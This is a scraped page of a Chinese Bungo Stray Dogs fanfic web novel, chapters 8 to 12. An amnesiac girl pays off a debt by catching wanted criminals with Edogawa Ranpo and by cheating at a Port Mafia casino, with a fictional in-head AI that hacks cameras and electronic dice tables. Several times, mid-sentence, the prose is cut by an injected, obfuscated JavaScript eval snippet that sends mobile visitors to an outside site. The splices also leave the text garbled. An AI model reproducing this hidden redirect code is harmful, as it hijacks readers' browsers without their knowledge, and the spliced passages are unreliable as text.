“欸——我不是黑漆漆的小矮子这种不讨女孩子喜欢的类型,被谁喜欢上也不需要欺骗别人哦。”太宰摇曳着脑袋说道,用向日葵般招摇的神态动作抢了他的台词,成功给中也额角气出三道青筋,“我说的也是实话啦,我对我的恋人可是非常了解的。” 他说着展开手机,给中也看了一眼上边的内容,那是一张中学的入学合照,穿着水手服和黑色诘襟的孩子们挨挨挤挤地凑在一起。 “看一看,这个就是小夏啦,非常可爱吧那个时候的样子……小夏的成长踪迹都有迹可循,除开最近一段时间,一直在公立学校中学习,甚至没有居住在横滨,也一直没有出入横滨的记录。” “就算几年前我没了解过的时候,她就已经在‘羊’里边待过一段时间……那么这些影像中的人是谁呢?或者说,你认识的永末尚夏是谁呢?” …… 永末尚夏也想问这个问题。这张身份卡到底是什么情况? ……谁家好人能负债几百万的? 抽卡的厄运导致她不得不立即着手开始赚钱,她现在正在横滨居民区跟商业街联通道路的停车棚边做着赚钱之前的准备,顺便吃几口羊羹作为下午的点心。 红豆、栗子、抹茶三种不同口味的软冻被她从包装纸里边抖出来,她捻起一块抹茶羊羹塞进嘴里,眼睛还留在手机上没动。 手机中的联络短信大部分都是半个月发过来前的,以老师、同学的短信居多,【最近去了哪里?】【过去这么多天了……还能来上学吗?】【你父亲今天来帮你办理了休学……】这些堆出了“永末尚夏”的人生。 她似乎是一个成长轨迹很正常的少女,也以正常的画风栽进了人生的厄运里边,宛如疾驰的火车脱轨而出。 最开始的异常,应该是一直生活在一起的母亲的离去,然后是一脸憔悴找上门来的父亲。他说: “求求你了小夏,救救爸爸,爸爸欠了别人很多钱。” ……投资失败,破产?还是赌博、酗酒……? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730858|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实原因倒是无所谓,毕竟只要知道是让女儿给他借款还钱的人渣就行。 唯一的问题在于,能让未成年少女借出大额款项的地方,不合法又有暴力收取方式的可能性几乎是百分百。 ……就算是这样,借出的金额也过于巨大了。 即使有着器官、容貌等等抵押物,但在什么代价都还没有收取的时候,先期预付的金额为什么会有几百万这么多? 永末动动手指点开了唯一还在孜孜不倦地给她发消息的那个人头像,单纯昨天晚上就又收到十几条新信息。 她点开最新一条。 【求求你了小夏,再救救爸爸,最后一次!最后一次!只要你能再去表演一下那个,有一位先生愿意给我们还掉所有的钱!】 “永末尚夏”……她、自己,有什么特别的、肉眼可以看出的价值吗? 就在永末凝神思考之际,突然察觉到了有一道视线落在了自己身上,跟陌生人路过看她一眼不一样,这道目光停留的时间有点久了。 她微微挑眉,平直地顺着视线的来处看去,在街道对面的店铺门口,一名少年、或者是青年毫无形象地坐在那边盯着她看。 不,好像是在看她手里边剩下的两块羊羹。 从身形看,应该已经是大人了吧?永末不确定地又看了一眼,还是无法从那张娃娃脸上分辨出具体年纪。 他穿着一套看起来就很热的、一眼就让人联想到侦探的衣服,最外层的披风胡乱地垂在地上垫着腿,黑色短发笼在贝雷帽里,看过来的翠绿色眼睛在光线下清澈见底。 等等,不好跟流浪猫这样对视的,容易被缠上。 永末反应过来,但已经迟了,黏在羊羹上的眼睛往上抬了一下,跟她撞上了,青年的眼睛一亮,高兴的表情也写在脸上,他立即翘着尾巴欢快地跑了过来。 “羊羹装在袖子里边,跳起来的时候容易掉出去,摔在地上就不好吃了!跑动的时候也不方便,不如给我吧!”他用理所当然的语气说道,对她伸出手。 9. 第9章 这话说的好像完全知道她准备去做什么一样。 不过他说得确实也对,从系统中抽出的物品,可以在不使用的时候暂时塞回到系统中,但街边购买的点心就没有这个待遇了。 而且这件“鬼杀队”时装藏刀还算方便,但居然没有缝制口袋!她原本还以为会在羽织、褂子内侧会有一些小的暗袋的! ……是得在动手之前把羊羹处理掉。反正之后还能再买别的。 可能是昨天有点饿过点了,或者是因为失忆对这个世界非常新奇,永末从早上起就感觉到一种微弱但络绎不绝的饥饿感,她是从商业街见到有意思的小吃就一路吃过来的。 永末尚夏低头仔细看了绿眼睛青年一眼,他脸上有着丝毫不觉得自己会遭遇拒绝的神气,看起来像是被宠爱长大的小王子。这突然让她感觉给出去一份也未尝不可。 “红豆,还是栗子?”她于是这么说了。 “红豆!”青年没有犹豫地回答。 大概是根据甜度选的。 于是永末尚夏面无表情地跟第一次见到的陌生人在路边和谐地分吃了两块小点心。 “告诉你一个秘密哦,很‘新’的小姐。”三口两口直接吞掉了甜腻黏软的点心,很娴熟地往下“咕咚”掉,居然没有被黏住喉咙的青年吃完小点心,非常自来熟地又凑近了一点。 永末还以为他准备说什么,结果他严肃认真地发出了一连串喵喵喵,如数家珍地给她指点道:“那家店的樱饼做得特别的难吃!樱花在里边除了好看吃起来完全是纸的味道!” “……它边上那家店红豆年糕汤倒是做得还不错,不过年糕的部分我不怎么喜欢吃,要是占住胃就不能吃别的点心了……便利店就只能吃饮料了,我喜欢在里边买新出的波子汽水,最近有出一款很好看的蓝色……” 看得出来是非常喜欢吃甜点了。 这种类似小孩子的全心全意的喜欢放在他身上好像也不违和。 永末听的时候才吃了两口,还不及一半的分量,而且栗子口味的甜度过于绵软,吃起来总有点驽钝的质地。 见到青年说的时候时不时转过脸来看她吃东西,永末无言地用油纸隔开手指和羊羹,掰过没被咬过的一半又递过去,“要吗?……还有很‘新’的小姐是什么说法?” 通透得像是绿色猫眼石的眼睛里边印出她的身影,有一个瞬间仿佛被摄入其中的不是倒影,而是她的所有,现在、过往、和不知何往的未来。 但青年的注意力飞快地转到她递出来的甜点上,移开了视线,他完全不嫌弃地接过了新的投喂,“啊呜”一声吃掉了。 ……就还挺好养活的。 “因为你没有告诉我名字啊。”青年嚼嚼,认真地说道。 永末微微一哽,正想吐槽“你也没有说自己的名字啊”,但也就是在这个时候,耳边传来了熟悉的电子音。 【夏夏!我回来了!目标人物还有五分钟就要到了。】 永末立即忽视掉身边的陌生青年,迅速低头打开手机。 屏幕上的桌宠,黑色毛绒团子开始复活般活蹦乱跳起来,兢兢业业地投出某个角度的街边监控录像,为了防止目标人物被忽视,还体贴地给那个人群里边胡子拉碴的鸭舌帽圈了个圈。 是的,脑子里的系统终于有了卖萌以外的别的用途。 在永末接触到新款电子设备,譬如昨天晚上抽出的手机之后,它就可以借由玩家随身携带的电子设备当做基站,转移出部分算力,做些身为AI能去做的事。 比如说入侵其他系统,调取路边的监控录像,进行人脸的识别。 也比如说,在打开手机内置的软件进行抽卡的时候,替换掉抽卡成功应该显示的画面,展示临时合成的虚假动画。 昨天晚上,永末就是靠着这个办法作弊的。 虽然作为本体寄宿在玩家体内的存在,系统的运行依托于玩家,不能长时间离开,也做不到大规模的入侵和对抗,以免能量长时间处于激烈波动的情况,把玩家烧成傻子,但姑且也做得到一些顶尖黑客才能做的事情了。 永末尚夏也有点理解了,曾经的自己选择带上这个小笨蛋的理由。 【话说,昨天晚上太宰抽中的卡牌到底是什么?】永末确定了任务目标,准备跟身边的无辜路人说一声先避开这里,心里突然一动,想到了这个问题。 【咦?……夏夏第一次在行动的时候问这种无关的问题……嗯,我看看。】系统翻了翻记录,【有出金……】 【好的不用说了……】比她的运气好。永末无情截断话头。 “你先……”“我知道哒~”青年接过话头,从她的手机屏幕处收回了目光,信口说出了不知道从哪里来的消息,“就是那位在转移途中袭警逃走的连环杀人犯对吧!” “交给乱步大人吧!”他兴趣满满地保证。 ……你都知道了什么啊?! 永末也来不及发问了,她最后对青年一挥手示意他快走,踩着刚刚物色好的支点,轻松地几步跳上了停车棚棚顶,藏在了远处看来的视线盲区。 呼吸,改变了。 就好像是本能一样,在她凝聚精神面对敌人的时候,身体顺应了意志自动调整了呼吸,从肺部进入的气流迟迟没有呼出,反而类似吐纳一样长久地流经在身体中。 短短的一个瞬间,未经过锻炼的少女身形似乎拉长了一些,身体中的筋肉、肌腱仿佛也自发进行了些微调整,让她在极短时间内就拥有了握剑的力量。 青年追踪着她的身形抬头看向她,却没有按照她的安排离开,反而老神在在地呆在停车棚下边醒目的地方。 小侦探抖了抖披风自顾自地坐下了,翠绿的眼睛地对着街上的人群乱看,一副走失小孩的架势。 时间凑得刚刚好,街角处很快转来了鸭舌帽,他回避着跟其他行人对视,满脸的胡子几乎遮蔽了整张脸,但那双小眼睛里边闪过的寒光又会让注意到的人本能地远离。 不知不觉的,混在人群里边的鸭舌帽游离了几分,身侧的行人不自觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730859|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地避开了他。 这不止是鸭舌帽本身的气质使然,永末有在其中推波助澜,通过给他附近的路人发几条骚扰短信,凝聚类似杀气的不快感笼罩住鸭舌帽附近,对危险的第六感本身就会自动驱散一些人类……就像手术刀精确地切割病灶,在他途径这个停车棚的附近,她要把他刚好变成落单的状态。 本来应该是这样的,但现实总会超越计划。 鸭舌帽在马路对面的红绿灯处,正要穿过马路,突然好像被这里的什么东西吸引了那样,频频地对着停车棚投以目光。 掩藏在帽子阴影下的表情看不出是什么情况,但从他的肢体动作里边,恐惧、迟疑、犹豫、狂喜,这些复杂而奇怪的情绪交织着展开,最开始他似乎想要拔腿逃走,但发觉此处只有青年孤身一人之后,恶意主导了他。 还没等到红灯完全转绿,他突然又快步冲了过来。 来到这个,偏僻的,不引人瞩目的,发生什么也不会干扰其他人的停车棚阴影下。 “江户川——乱步——!”男人发出咬牙切齿的声音,“还记得我吗?!就是你……害了我……!” 青年、或者现在应该叫江户川乱步,好像刚刚才看到他那样,先是露出了惊讶的表情,然后才是想表达恐惧的后仰,他做出想站起来逃走的动作,但肢体不怎么协调的小侦探想蹦起来的时候却踩到了自己的披风,真的不幸摔了一下。 ……整段垮掉。 不过要永末评价,乱步的这段表演本来就不及格,他情绪里边兴奋和有恃无恐的正向情绪完全压倒了应该出现的惊恐。 独处时意外遭遇抓过犯人的侦探,被他演得好像准备迎接新奇冒险的小王子。 “我知道你!你是那个、那个……”摔在地上没起来的乱步干脆就这个姿势坐着了,即使是近在咫尺的危险也没有让他有再挪动的意思,“那个谁来着……唉,乱步大人抓过的犯人太多,小角色的名字不记得了。” 好消息是目标人物的火气冲垮了疑心,本来他没有选择立即逃跑而是选择报复,就已经注定了结局。 男人甲虫似的眼睛里边透出凶光,但他做不了什么了。 在他的身后高处,轻轻拂过一道风声,身穿羽织手握长刀的少女从高处跃下,刀甚至没有出窍,连同刀鞘一起,加持着体重的力道,狠狠击中了男人的后脖颈…… 男人的一切表情都僵住了,在少女落地之后,他也应声倒地。 永末稍稍松了一口气,她怕自己没控制好,把这家伙的脑袋变成保龄球打出脖子去……真奇怪她为什么有找脖子落刀的本能。 “哇——”乱步发出快乐的声音打断了她的思绪,他很捧场地跳起来,这次是真的成功起身了,也不管披风上沾的灰,拍都没拍,直接又凑了过来。 “诱饵我演得很好吧!”乱步喵喵喵,自觉自己做了什么了不起的事情那样,非常可爱又正当地讨要报酬。 “乱步大人迷路了!刚好你也要把他一起送到警局领悬赏,带我一起去!” 10. 第10章 如果要在陌生的世界,一两天内赚够几百万,最快速的可行办法是什么呢? 永末尚夏今早从临时居所离开时,想过这个问题。 既然本世界以“文豪野犬”为名,去投身文学说不定是件不错的路子,而且身为异世的来客,贩卖跟此世不同的文化产物,本身就是很轻松的一条道路。 唯一的缺陷就是,来钱太慢了。 写作、出版、博取名气、发行,整体的周期太长。而且要从支离破碎的记忆里边捞取相关的东西,对于失忆人士也太为难了。 那么还有一个便捷的办法,黑吃黑。 清扫违法组织,拯救被迫害的无辜民众,顺便从其中抽一笔可用资金,是落地新世界赚钱的不二法门。 但在得知本世界拥有名为“异能力”的谜之力量之后,这个选择也不得不暂时移后了。 失忆状态的永末尚夏还不能评估自己的武力值够不够干上这么一票。要是一时失手,不管是马失前蹄当场被gank,还是有幸逃走但不得不求助攻略对象……听起来都非常糟糕。 而且如果运气不好,扫到了跟港口mafia有联系的组织,跟攻略对象对上……永末尚夏掐掉脑海中这个糟心的可能性。 那么,能复健自身武力、又有情报支持、不至于一头撞上什么陷阱,同时还兼具正义性,有这样的赚钱途径吗? 有的,有的,那就是通缉悬赏。按照网上的通缉令筛选目标,再根据系统的能力捕捉全横滨的监控,找个合适的埋伏点,定点逮捕就行。 这就是永末尚夏此刻第三次出现在警局外的原因。 “铛铛。”警局外侧的防弹玻璃被屈指敲了敲。虽然在少女敲门之前,里边的警察已经看到了门口奇妙的组合。 外披羽织、内搭和服的少女站在门口,脸上写满了不想说话的冷淡,她手中提着一条皮带,皮带尽头拖行着一个粗糙的麻袋,麻袋里边还有什么东西发出唔唔的声音,同时可疑地不断随着里边活物的挣扎被撑到变形。 转到另一个方向,就可以清晰地看见全貌了,从麻袋里正探出一个被堵住嘴的人头,其他部位全被麻袋包裹,满脸狰狞但什么也做不了,一整个凶案现场。 这已经是今天第三次看到这副画面了,警察们已经从最开始的惊愕,变成了见怪不怪,甚至还有女警露出看到熟人的笑容对着她挥手示意。 跟前两次的不同,这次除了被装进麻袋的嫌犯,少女的身边还买一送一地带来了走失的名侦探。 在她身边,用小披风在犯人脑袋上晃来晃去,对于犯人这个全新的麻袋造型毫无异议的,正是花费了两分钟就解决掉这次悬案的江户川乱步。 并且让自身的失踪险些变成另一件悬案,让跟着的警察花了两个小时都没有找到人。 “永末小姐,这次又是哪个通缉犯……啊!乱步先生!终于找到您了!”出来交接的警察露出喜极涕零的神色,“之前转过街角您就不见了,连福泽先生也出去找您了,我现在就联系他!” “我已经自己找回来了!……怎么连社长也惊动了!”虽然应该早就看出来了,但很显然到现在亲耳听到才真正死心,本来还精神焕发的名侦探听闻噩耗,在一秒内从活蹦乱跳的小猫咪变成晾干在台阶上的干蘑菇。 带着一点轻微的兴趣看完了这场奇妙的互动,永末这才步入警局进行笔录,兑换悬赏。 日本的通缉悬赏兑金,审批的速度不怎么快。但在她第一次带犯人牌麻袋过来的时候,带她进审讯室做笔录的中年警察好心地帮她推动了审批流程,让款项更快地发出来。 这一次也是一样。 只是每次的嘴炮关卡还是少不了的,笔录室内,中年大叔唾沫横飞地开始例行说教:“原则意义上我们不提倡未成年去跟犯人进行这么危险的接触,下次有线索直接提供给警方也是一样的……有生活上的困难需要帮助的话可以跟我们说……” “……”我缺几百万。这个恐怕给不起。 永末坐在审讯室一边听他教育,一边等待审批结束,努力不让左耳进右耳出的放空表情流露出来,维持平静的表情听着。 一直等到另一个警员拿着悬赏金出来,永末才得以解脱。 临走之前,她一边说着“谢谢您”,一边扫了一眼大叔的警察证,礼貌地补充了称呼,“村田警官。” 在她走后,年长的警官依旧停留在关了灯漆黑一片的审讯室里边,吐出了最后一句不被任何人听到的唠叨。 “虽然好像已经被忘掉了,但其实我还是很欣慰的,你没有再跟白濑他们混在一起……永末尚夏。” * 等到永末从审讯室里边出来时,江户川乱步还像放学没有人接的小孩那样蹲在大厅前台处等待。 不过名侦探显然已经收拾好了心情,用翠绿的眼睛一眨不眨地看她出来,好像在用目光跟她说话一样。 是想要跟她说什么呢?还是在招呼“来跟我玩”呢? 永末放缓步子,但小侦探没有像之前那样快步过来喵喵。 他只是坐在那边,抱着腿看着她。 永末在这种目光笼罩下有点迈不开步子,她想了想,把手中的纸币分出均等的两叠,走过去弯腰递给他:“见者有份?” 乱步立即坐正了,他不怎么高兴地说道:“我想要的不是这个!……而且你不是应该更需要钱吗?” 永末不意外,在路上她已经让系统搜过了江户川乱步明面上的资料,报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730860|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸上报道过他的生平和名气,作为破获案件频频登上报纸的名侦探,她当然也知道这些钱对他来说不值一提。 永末只是觉得他的样子像是很想要零花钱的小孩子,所以乐意过来哄他玩。 “对于我来说,只需要留下还能购买一枚筹码的钱就够了……而且……”她稍加思索,随便挑出一个理由,“诱饵的任务,江户川先生做得也很合格,出力了有钱分是什么稀奇的事情吗?” 乱步没有说话,反而似乎想要分辨什么一样歪头盯着她看。 找不到的,没有其他用意。永末尚夏只是单纯地对江户川乱步本人的可爱,抱有萍水相逢的好感。 永末换了种口吻继续说道,用了乱步之前听起来颇为可爱的自称:“如果乱步大人不愿意接受的话,那要不要哪天一起去吃一遍你说的那些甜点?就用这些钱。两个人一起去吃的话,应该可以吃更多的种类吧……” 意动了啊……好像在拐骗别人家的小朋友,永末眨眨眼,大概是错觉吧。 “其实你好麻烦的……”江户川乱步抱着膝盖突然说道,声调有点小。 “……”永末尚夏还是第一次得到这种评价。 “真的,真的很麻烦。”江户川乱步唉声叹气,好像真的很烦恼那样,话题又跳跃到另一个上边,“侦探社现在还很缺人……要是跟你再说几句话,我就会想问你要不要过来侦探社了……” 嗯,是夸奖吗?永末感觉自己好像橱窗里边的奶油蛋糕,被小侦探看了一眼又一眼。很想吃,但偏偏被管制了零食,大概就是那种感觉。 江户川乱步说到这里,分外纠结地自我责备了一下,声音小得接近自言自语了:“不行啊,跟那种小气鬼抢人,之后一定会非常麻烦的……而且也会给社长惹麻烦的……” “但是……我乐意就行……!” “羊羹很好吃!不,也算不上特别好吃!下次要请乱步大人吃更好的!”小侦探突然猛地咕涌了一下,从她的羽织上摘掉了一枚精巧的钮扣,伸手递给她,表情又神气起来了,“礼物礼物!羊羹的回礼!” 永末尚夏下意识地接过扣子,看了两眼,好消息是钮扣很精美、跟她的衣服还挺配的,毕竟本来就是从上边摘下来的。 坏消息是,她的羽织根本没有钮扣。 永末用指尖叩了叩金属外壳,从里边听出了精细的机械转动的响动……窃听器。 到底是谁放的,真是很难猜呢。永末难得有点想笑,把纽扣在手心上抛了抛,又接在手中。 “你准备做的事情……棋盘之外还有好多只手。不要忽视哦。”乱步在她手里最后捏了一下窃听器,软绵绵地坐回去,眼睛亮晶晶的,“还有!记得不要错过跟乱步大人的约定啊!” 11. 第11章 “啧……每次你露出这种表情就没好事。”中原中也抱着胳膊嫌弃道。 在太宰连环的追问之下,他没有如同太宰料想的,露出凝重的表情,反而好像在忍着磨牙和揍人的欲望,“透露这些给我,也就是想拉我下水吧。” “恋爱不是这么谈的……”犹豫最后,中也挤出的反而是这样的回应。 “欸——?”太宰一怔。 “你想知道尚夏曾经在羊的事情……直接去问她不就行了吗?” “我说!你真的有把尚夏当回事吗?……哪里有把恋人当做任务目标,整个刨开挖取情报的!”中也一边烦躁地说出口,一边感觉到荒谬,特别是他在给太宰恋爱指导,对象也许还是想保护的熟人这种事,让他感觉十足的恶寒。 明明什么都知道,还做出这种事……大概是这条青鲭通晓人心但是完全没有人性吧。 “……”眼前太宰的表情微妙地流露出一点低迷,但很快地转为了无所谓的些微嘲笑,“我在期待什么呢……蛞蝓难道还能有什么智商可言吗?连分类都是软体动物~” “正是因为问不出来,所以才想要从你这里探究啊……” 他本来还想说“就算想保护好羊的成员,也得先用眼睛亲自确认一下真假”,或者干脆提及一点少女失忆的情况,就完全可以刺探出什么,再诱骗眼前这个笨蛋去做收尾工作。 但现在他又突然觉得没有这个必要。 “也许我不是那么乐于这么快结束全部谜题。”太宰往办公室的椅子上一仰,用中原中也听起来格外欠揍,又隐隐约约觉得他可能在说事实的语气说道,“……毕竟世界上我不知道的部分屈指可数。” 这个索然无味、所有选项都已经被他人打通过的世界……只有她身上还有未解的谜题。 而谜题结束,也就是时候结束这场虚伪的恋人游戏了。 太宰没有说出口的话,轻慢地滑过他的眼睛,让中原中也冥冥中感觉到异样。 中也握拳冲他挥了挥,“喂!太宰!不管是我曾经的同伴,还是你拐骗的普通女孩……你要是真的欺负了她,我……” “中也……这是、‘我的恋人’。”至少在游戏结束之前是。太宰用没有玩笑的冷酷口吻抢先指出道,“别用那种让人误会的反应说小夏。” “咚咚。”在争执生变成单方面的殴打前,太宰等待的那声扣门声响起了。 他径直往门口走去打开门,门外果然是广津老爷子那张恭谨的,似乎什么都不会形于色的脸。 “太宰先生,首领正等着你。” 他有恋人这回事,森先生果然不会置之不理。 “想要过普通的生活。”昨夜女孩平静的声音从记忆里回响。 里世界港口黑手党的操心师,那个太宰的恋人,这个消息一旦传递出去,等待永末尚夏的就会是永无止尽的试探、骚扰、刺杀…… 停留在白天的世界里边,只凭单人的力量,是无法保护自己的。 不管因为什么,她最后只能寻找港口mafia的庇护,落在他的手中。 而唯一要在这个过程中需要解决的障碍,那个会盯上她的、最烂最没有底线的人,他接下来就准备去见一见。 “啊啊,知道了知道了。”太宰发出懒散的声音,跨过大门准备离去。 “等等!太宰……她……现在在哪里?”他身后还什么都没意识到的笨蛋,中原中也在纠结之后还是开口了。 ……所以说压根不需要多说,狗这种生物自己就会跳坑。 太宰用没什么表情的、黑黢黢的眼睛看了中也一眼,随后他笑了一下,抛出一个圆圆的、类似扣子的金属物件,“定位器。” * 永末尚夏虚虚地捻转着那枚精致的定位器,让它在她指尖转成一个精妙的浑圆,最后她屈指弹了一下,让这枚钮扣样式的金属“叮”地一声落在了桌案上。 没有任何滚动,它坠落后就好像焊死那样一动不动,朝上的那一面是,花纹。 看都没有看它一眼,永末尚夏平直地说道:“压大。” 和几个小时之前,与江户川乱步分别时不同,永末此刻已经没有穿那身羽织和服了,少女现在正穿着一件蓬松柔软的绯红礼服,下身则是贴身的黑色西裤,大波浪的褶皱顺着她的手臂流下来,也落在她掌下的筹码堆上。 好像手握权杖驻立于王座之侧,永末单手搭在身侧的筹码盘上,将筹码往前轻轻一送。 哗啦啦,玉柱倾颓,一枚价值一万日元,现在堆积成接近小山的筹码顺着力道往前倒塌了一部分,滚下去的那些引得周围聚集的赌客一阵满地乱滚的哄抢,但永末已经无所谓小金额筹码的遗失,总共将近一亿日元被永末信手推上了赌桌。 现在还不算特别特别大的金额,至少赌场中还抽调得起这么大的损失,但是再all in翻倍几次,那就不好说了。 “跟!”“我也压大!”“大!”……没有立即蹲下去减钱的赌客们则追逐着更大的利益,满面红光地跟着赌上了所有。 她跟前的荷官先生脸色惨白,冷汗已经湿透了额角,颈上的宝石链闪着红色的光晕,更显出了他本人现在白得接近透明的脸色,明明还没有按下桌上的按键,让电子赌桌开始投掷骰子,他就已经一副知道自己要输了的表情。 8次,已经足足8次了,从最初的几十万日元翻了256倍,这个女孩好像站在了命运的身侧,每次按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730861|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下投掷骰子的按键,滚进的分格都是她所宣告的命运。 已经不是强运的范畴了,因为……因为在第五次她赢了的时候,原本的荷官就换成了他,而且他早就已经作弊了! 他的耳机里边传来了上级的指令,“再拖延一会,主管已经过去了,技术人员正在按照人像找她的信息……该死,偏偏A先生这段时间不在……不能让她在众目睽睽之下再被带走了,之前已经检查过她身上什么都没带了……是哪个异能力者这么嚣张,犯到港/黑五大干部的赌场里头来了吗?!” “不、不对,数据库里找到这个女孩的身份了……对比结果出来了……再给我们三十秒!把那个废物带过去!” 永末没有做出她一起在旁听的反应,也没有再进行施压,只是在荷官勉强挤出的营业微笑中静默地站着。 她神游天外地想着,哦……原来这里也属于港口mafia,那跟这里签的借贷合同确实也是跟攻略对象有关系……怪不得会抽到这样的身份卡。 那就没办法了,她想要还上钱,达成自由身,说不定还会真的跟攻略对象变成敌人。 “不开局吗?”永末尚夏出声催促,虽然也知道大概是赶不上这局结束了。 【夏夏想要什么点数?】脑子里边的电子音活泼可爱,看起来玩得比她开心。 【都压大了,六六大顺?】永末回应道。 其实永末作弊的原理非常简单,这个赌场偏偏完全用上了电子赌桌,全机械开局,配备了含铁的作弊骰子和磁吸的格子。而全场的指挥调度和荷官耳朵上的耳麦,也恰巧是在内部频道中传输的。 在黑客方面,恐怕要绝对的天才,才能战胜电子生命的入侵,而她脑子里边正寄宿着一个。 这是技术上的维度差距,所以她根本不需要相关的异能力,甚至不需要携带什么,只需要把手机存放在最近的储物柜,呆在系统可以侵入的赌桌边,带上耳朵和脑子,听着直播中这群工作人员打算怎么作弊、怎么收拾她,再依照答案参考进行解题就可以了。 唯一让人意外的,反而是赌场主人不能出场这件事。 还以为闹得这么大,至少会有足够分量的人出面解决呢。 “……尚夏?尚夏!夏夏!”从她背后传来了中年男子狂喜的声音,永末没有回头,先侧身躲开了要拉扯她的那双手。 面容沧桑,满脸胡子,看起来已经好些天没洗澡的中年男子,穿着皱巴巴的衣服,满脸都是没洗脸的油光,原本是一脸憔悴恐惧,在看清她跟前堆积的筹码时又爆发出巨大的贪婪。 “是爸爸啊!你愿意来救爸爸了吗?” 抽卡附赠一个爹这种事,真想打差评。永末尚夏无情地想。 12. 第12章 永末没有作声,看向这个被卡牌造出来的麻烦,神色兼具打量和思索,比实验室的研究员更冷漠一些。 她突然有点好奇身份卡的原理,但这份意愿不怎么强烈。 抽卡并不携带跟相关人士的记忆,好在跟中年男子照面的瞬间,系统激活了闪回的背景CG。 在永末的瞳孔深处闪动着不被看清的人影,因为警惕而迟疑的少女,和抓住她的胳膊不放、宛如抓着摇钱树或者救命稻草的中年男人,在赌场的隐蔽走廊上演绎着过往。 “这里是哪里……你是不是又欠钱了……”身穿校服的少女被中年男子拉着在走廊上踉踉跄跄地走着,终于忍耐不了地挥手想要甩开他,“爸爸!我说过,已经没钱能再借给你了……!上次帮你借钱,已经是最后一次了!我要走了!” “尚夏……夏夏……!”中年男人发现无法强行拖走少女,也跟着换了副嘴脸,改成了乞求的表情,“再帮我一次,最后一次!你不会有事的!” “你不可能受伤的,不是吗?你是特殊的!”男人哀求道,甚至想要往下跪倒,“求求你了,再救救爸爸,你走了我会死的。” 悲哀和憎恶的表情在少女脸上交织着,最后在身边的亲人是这样的存在,而舍去又需要极大的决心。 她往走廊深处看了一眼,那间看似普普通通的房间门口,站着两位工作人员,他们颈部悬垂着镶嵌宝石的链子,宛如被牵住绳子的狗。她打了个寒噤。 似乎在步入危险之前有所预感,少女前所未有地挣扎起来,她的声音尖锐但发颤,“我不想见你说的那个人……还有别的办法还钱的……我会想别的办法……!” “吱呀——”但那扇门自己打开了。 门口步出了面带微笑的妹妹头白发男子,他也不做催促,只是含笑看着走廊上的两人。 “……”少女一瞬间失去了继续挣扎的勇气,而中年男子则是快速爬起身,强行拉着少女朝那边走去。 他一边拱出满脸谄媚的笑容对着白发男子点头哈腰,一边对少女威胁道,“别傻了!那张合同就是从他那里拿到的!这是你自己签过的字……现在借贷人是你,别以为还能置身事外!” “你说过那个钱你会还的……你骗我!……”披着人皮的恶鬼拖行着无力啼鸣着的少女,两人一并走进那个深渊般的大门之口中。 “嗒”,门关上了。 永末缓缓眨了眨眼睛,眼前重新浮现出表情隐隐扭曲起来的中年男子。 在那扇门关闭后还发生了什么,恐怕得完全从活人的口中得出了。 太好了,这个知情的活人,是个彻头彻尾的人渣。那也不是没有收获。 CG在思维中的闪回很迅速,在现实中不过是短短几秒。中年男子做出什么不智的举动之前,永末先做出了反应。 “你在这里啊。”她学着之前见到的太宰的反应,努力在这份假象中掺杂一些接近温和的东西,让自己的表情更为亲切一点,“是的,我是来找你的……” 发觉自己叫不出对方名字,也没必要真的叫一声父亲,永末转头对荷官说道,“可以,这个礼物我很喜欢。那么不必再开下一局了,把我的筹码兑换吧……一半给我现金,一半打到我卡里好了。” 她说着,挤开围在她身边又被她抛弃的其他赌客们,往中年男子身边走过去,主动伸手抓住了他。 在某种直觉中的异样支配下,原本强势的中年男子反而作出了退避的姿态,永末维持着和煦的神情说道,并不知道自己毫无情绪的眼神配上这种和善反而更加让人发毛,“我想,你应该想跟我单独谈谈。” * “爱丽丝酱!今天换这条小裙子吧~拜托了~这条金红色的特别衬爱丽丝的头发呢~” 